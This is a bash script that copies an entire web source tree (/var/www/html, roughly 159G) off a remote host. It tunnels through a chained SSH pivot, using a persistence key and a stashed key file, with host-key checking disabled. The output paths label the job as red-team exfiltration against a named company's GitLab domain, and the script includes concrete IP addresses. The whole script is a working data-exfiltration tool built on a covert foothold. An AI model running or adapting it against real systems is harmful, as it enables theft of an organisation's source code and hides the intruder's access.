#!/bin/bash
# FULL source dump /var/www/html — NO INTERRUPT, background, notify on complete
set -u
OUTDIR=/root/ir-assessment/redteam/gitlab_npontutechnologies_com/exfil_hostB_source_full
mkdir -p "$OUTDIR"
OUT="$OUTDIR/www_html_full.tar.gz"

echo "=== FULL SOURCE DUMP /var/www/html ==="
echo "start: $(date)"
echo "target: ~159G raw, est 50-80G gz"
echo ""

# stream tar.gz over ssh, no timeout, no kill
ssh -i /root/.ssh/npontu_persist_20260817 -p 1425 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no \
  pontian@65.109.51.221 \
  "ssh -i /home/pontian/.tmp_k/ek -p 2304 -o BatchMode=yes -o ConnectTimeout=15 -o StrictHostKeyChecking=no npontucontrl@138.201.221.144 \
  'tar czf - -C /var/www/html --exclude=node_modules --exclude=vendor --exclude=storage/logs --exclude=*.log . 2>/dev/null'" \
  > "$OUT" 2>>"$OUTDIR/errors.log"

rc=$?
echo ""
echo "end: $(date)"
echo "exit: $rc"
if [ $rc -eq 0 ] && [ -s "$OUT" ]; then
  sz=$(du -sh "$OUT" | cut -f1)
  echo "[OK] $sz"
  sha256sum "$OUT" > "$OUTDIR/MANIFEST.sha256"
  echo "manifest: $(cat "$OUTDIR/MANIFEST.sha256")"
else
  echo "[FAIL] rc=$rc, size=$(stat -c%s "$OUT" 2>/dev/null || echo 0)"
fi
